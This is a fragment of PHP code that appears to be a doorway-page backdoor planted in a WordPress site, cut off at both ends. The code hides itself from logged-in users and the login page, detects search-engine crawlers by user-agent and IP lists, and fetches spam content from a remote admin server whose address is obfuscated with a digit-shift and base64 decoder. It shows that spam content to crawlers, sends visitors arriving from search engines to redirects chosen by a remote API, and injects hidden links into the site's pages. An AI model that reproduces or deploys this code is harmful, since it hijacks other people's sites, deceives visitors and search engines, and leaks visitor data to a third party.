sk\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Ahrefs#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yanga#i', '#Yeti#i', '#jeeves#i', '#WordPress#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread\srevision#i', '#sqworm#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#charlotte#i', '#Vegi\s*bot#i', '#BUbiNG#i', '#ltx71#i', '#MJ12bot#i', '#MegaIndex#i', '#Mediatoolkitbot#i', '#DotBot#i', '#opensiteexplorer#i', '#Go-http-client#i', '#Photon#i', '#bloglovin#i', '#scalaj-http#i', '#AddThis#i', '#LinkWalker#i', '#adscanner#i', '#istellabot#i', '#Datanyze#i'); $badbot = ""; if (strpos("qqq" . preg_replace($uatobadfilter, '-ABOT-', $useragent), '-ABOT-')) { $badbot = "yes"; } if (mysqlTableSeekWP($maintablaname, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt) != "no" && getCountofTable($maintablaname, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt) > 3 && !stripos("qqq" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'], "wp-login") && is_user_logged_in() === false && empty($badbot)) { $reddata = readValueFromBD($maintablaname, "wpred, wpredurl", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); $redcode = ""; $redurl = ""; if (!empty($reddata) && $reddata != "no") { $redcode = $reddata["wpred"]; $redurl = $reddata["wpredurl"]; } $currentdoorcache = readValueFromBD($maintablaname, "wpcache, wpk", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if ($currentdoorcache == "no") { $showlinksornot = "no"; $doorsettings = readValueFromBD($maintablaname, "wpset", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (!empty($doorsettings) && $doorsettings != "no") { $doorsettings = urldecode($doorsettings); $doorsettings = unserialize($doorsettings); $showlinksornot = $doorsettings["ownlinks"]; } if ($showlinksornot == "yes") { $currentlinkscache = readValueFromBD($linkstablaname, "wpcache", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if ($currentlinkscache == "no" || empty($currentlinkscache)) { $randlinks = randomValuesFromTableById($maintablaname, "wpurl,wpk", rand(4, 6), $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (!empty($randlinks) && $randlinks != "no" && is_array($randlinks)) { $goodlinks = array(); foreach ($randlinks as $onelinkdata) { if (!empty($onelinkdata["wpk"])) { $goodlinks[] = "" . trim(urldecode($onelinkdata["wpk"])) . ""; } } if (count($goodlinks) > 0) { $goodlinks = implode(" ", $goodlinks); insertToBD($linkstablaname, "wphash, wpcache", "'" . $currenthash . "', '" . urlencode($goodlinks) . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } else { $goodlinks = ""; } } } else { $goodlinks = urldecode($currentlinkscache); } if (!empty($goodlinks)) { $bot = ""; if ($redcode == "ktapi" && !empty($redurl)) { $redurl = urldecode($redurl); $redurl = unserialize($redurl); if (count($redurl) == 3) { $bot = goToRedirect($ip, $referer, $useragent, $redurl["kturl"], "", $redurl["lapi"], "yes", "", "", "", ""); } } else { $bot = goToRedirect($ip, $referer, $useragent, "", "", "", "yes", "", "", "", ""); } if ($bot == "bot") { $selfpage = placeLinks($currenturl, $goodlinks); if (!empty($selfpage)) { echo $selfpage; die(); } } } } } else { $clientidfmbd = readValueFromBD($maintablaname, "wpcache", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); $admurlfmbd = readValueFromBD($maintablaname, "wpcache", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (!empty($clientidfmbd) && !empty($admurlfmbd)) { $admurlfmbd = urldecode($admurlfmbd); $currentkey = $currentdoorcache["wpk"]; $key1frredir = readValueFromBD($maintablaname, "wpk1", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($key1frredir) || $key1frredir == "no") { $key1frredir = ""; } $redresult = ""; if ($redcode == "ktapi" && !empty($redurl)) { $redurl = urldecode($redurl); $redurl = unserialize($redurl); if (count($redurl) == 3) { $redresult = goToRedirect($ip, $referer, $useragent, $redurl["kturl"], $currenturl, $redurl["mapi"], "", urldecode($currentkey), "", "", $key1frredir); } } elseif (empty($redcode)) { $redresult = goToRedirect($ip, $referer, $useragent, "", $currenturl, "", "", urldecode($currentkey), "", "", ""); } else { $redcode = urldecode($redcode); $redurl = urldecode($redurl); $redresult = goToRedirect($ip, $referer, $useragent, "", $currenturl, "", "", urldecode($currentkey), $redcode, $redurl, $key1frredir); } if (empty($currentdoorcache["wpcache"]) || $currentkey == "edf8329we") { $params = "clientid=" . $clientidfmbd . "&givemecontent=" . $currentkey; $content = httpPost($admurlfmbd, $params); if (!empty($content) && strlen($content) > 1000) { $content = urlencode($content); if ($currentkey != "edf8329we") { updateBDData($maintablaname, $content, "wpcache", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } } else { $content = $currentdoorcache["wpcache"]; } if ($redresult == "bot") { if (stripos("qqq" . $useragent, "google") || stripos("qqq" . $useragent, "bing") || stripos("qqq" . $useragent, "yahoo") || stripos("qqq" . $useragent, "yandex")) { $botscount = readValueFromBD($maintablaname, "wpred", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($botscount) || $botscount == "no") { $botscount = 1; } elseif (is_numeric($botscount)) { $botscount++; } else { $botscount = 1; } if (!empty($botscount)) { updateBDData($maintablaname, $botscount, "wpred", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } echo urldecode($content); die(); } elseif (!empty($redresult)) { if (stripos("qqq" . $referer, "google.") || stripos("qqq" . $referer, "yahoo.") || stripos("qqq" . $referer, "bing.") || stripos("qqq" . $referer, "yandex.ru") || stripos("qqq" . $referer, "mail.ru")) { $userscount = readValueFromBD($maintablaname, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($userscount) || $userscount == "no") { $userscount = 1; } elseif (is_numeric($userscount)) { $userscount++; } else { $userscount = 1; } if (!empty($userscount)) { updateBDData($maintablaname, $userscount, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } echo $redresult; die(); } elseif (empty($redresult)) { if (stripos("qqq" . $referer, "google.") || stripos("qqq" . $referer, "yahoo.") || stripos("qqq" . $referer, "bing.") || stripos("qqq" . $referer, "yandex.ru") || stripos("qqq" . $referer, "mail.ru")) { $userscount = readValueFromBD($maintablaname, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($userscount) || $userscount == "no") { $userscount = 1; } else { $userscount++; } if (!empty($userscount)) { updateBDData($maintablaname, $userscount, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } } } } } } function decodeservurl($servurl) { $goodservurl = array(); foreach (str_split($servurl) as $onechar) { if (is_numeric($onechar)) { if ($onechar >= 7) { $onechar = $onechar - 7; } else { $onechar = $onechar + 10 - 7; } } $goodservurl[] = $onechar; } return urldecode(base64_decode(implode($goodservurl))); } function createIndexBWD($tablename, $indcol, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } $sql = "ALTER TABLE " . $tablename . " ADD INDEX " . $indcol . " (" . $indcol . "(5))"; if (mysqli_query($dbcon, $sql)) { mysqli_close($dbcon); return "yes"; } else { mysqli_close($dbcon); return "orutydrfsxgxcvbxcv"; } } function getStatus($mtablename, $ltablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $checkdata = array(); $checkmaintable = mysqlTableSeekWP($mtablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if (!empty($checkmaintable) && $checkmaintable != "no") { $checkdata["maintable"] = "good"; $linescount = getCountofTable($mtablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if ($linescount != "no" && $linescount > 3) { $checkdata["cachelines"] = $linescount - 3; $cachecount = getCacheCount($mtablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if ($cachecount != "no" && $cachecount != "bad") { $checkdata["cachecount"] = $cachecount; } else { $checkdata["cachecount"] = "bad"; } } else { $checkdata["cachelines"] = "bad"; $checkdata["cachecount"] = "bad"; } } else { $checkdata["maintable"] = "bad"; $checkdata["cachecount"] = "bad"; } $checklinktable = mysqlTableSeekWP($ltablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if (!empty($checklinktable) && $checklinktable != "no") { $checkdata["linkable"] = "good"; } else { $checkdata["linkable"] = "bad"; } return $checkdata; } function getCacheCount($tablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return false; } else { $sql = "SELECT COUNT(1) FROM " . $tablename . " WHERE wpcache IS NOT NULL AND wpcache!='' AND wpk IS NOT NULL"; $needvalue = mysqli_query($dbcon, $sql); $needvalue = mysqli_fetch_all($needvalue); mysqli_close($dbcon); if (count($needvalue[0]) > 0) { return $needvalue[0][0]; } else { return "bad"; } } } function goToRedirect($ip, $referrer, $ua, $domain_kt, $url_curr, $apiToken, $forlinks, $keyword, $plainred, $plainredurl, $key1) { if (empty($ip)) { return ""; } if (!empty($apiToken)) { $user_agent_to_filter = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Ahrefs#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yanga#i', '#Yeti#i', '#MJ12bot#i', '#jeeves#i', '#WordPress#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i', '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#charlotte#i', '#Vegi\s*bot#i', '#BUbiNG#i', '#ltx71#i', '#YandexBot#i', '#MJ12bot#i', '#MegaIndex#i', '#DotBot#i'); if (strpos("qqq" . preg_replace($user_agent_to_filter, '-ANGRYBOT-', $ua), '-ANGRYBOT-')) { return "bot"; } $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE']; $ua = urlencode($ua); $url = $domain_kt . "?is_api=1&source=" . urlencode($url_curr) . "&action=get&token=" . $apiToken . "&ua=" . $ua . "&ip=" . $ip . "&keyword=" . urlencode($keyword) . "&referrer=" . $referrer . "&lang=" . $lang . "&sub_id_1=" . urlencode($key1); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 90); $output = curl_exec($ch); curl_close($ch); } else { $params = explode("?", $url); $params = $params[1]; $output = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $params)))); } $result = json_decode($output); if ($result->body !== "bot") { if (!empty($forlinks)) { return ""; } foreach ($result->headers as $header) { header($header); } if ($result->body) { $result->body = urldecode($result->body); return $result->body; } } elseif ($result->body === "bot") { return "bot"; } else { return ""; } } else { $is_bot = ""; $user_agent_to_filter = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i', '#spider#i', '#yahoo#i', '#jeeves#i', '#googlebot#i', '#altavista#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i', '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i', '#charlotte#i', '#bingbot#i'); $stop_ips_masks = array("66\.249\.[6-9][0-9]\.[0-9]", "74\.125\.[0-9]\.[0-9]", "65\.5[2-5]\.[0-9]\.[0-9]", "74\.6\.[0-9]\.[0-9]", "67\.195\.[0-9]\.[0-9]", "72\.30\.[0-9]\.[0-9]", "38\.[0-9]\.[0-9]\.[0-9]", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134", "70\.91\.180\.25", "65\.93\.62\.242", "74\.193\.246\.129", "213\.144\.15\.38", "195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124", "218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169", "104\.132\.8\.69"); foreach ($stop_ips_masks as $k => $v) { if (preg_match('#^' . $v . '$#', $ip)) { $is_bot = "bot"; } } if (empty($is_bot) && strpos("qqq" . preg_replace($user_agent_to_filter, '-ANGRYBOT-', $ua), '-ANGRYBOT-')) { $is_bot = "bot"; } if ($is_bot == "bot") { return $is_bot; } if (!empty($forlinks)) { return ""; } if (!empty($plainred)) { if (!empty($plainredurl)) { $plainred = str_ireplace("[REDIRECTURL]", $plainredurl, $plainred); } $plainred = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $keyword), $plainred); $plainred = str_ireplace("[SPACEKEY]", $keyword, $plainred); $plainred = str_ireplace("[CURRURL]", $url_curr, $plainred); $plainred = str_ireplace("[REFERER]", $referrer, $plainred); $plainred = str_ireplace("[MULTIKEYREDIRECT]", $key1, $plainred); return $plainred; } else { return ""; } } return ""; } function updateBDData($tablename, $data, $value, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return false; } else { $sql = "UPDATE " . $tablename . " SET $value='" . $data . "' WHERE " . $uslovie . ""; if (mysqli_query($dbcon, $sql)) { mysqli_close($dbcon); return "yes"; } else { mysqli_close($dbcon); return false; } } } function placeLinks($pageurl, $links) { $page = httpGet($pageurl); if (!empty($page)) { $page = preg_replace("/(
oil sugar scrub1000mg<\/a><\/blockquote>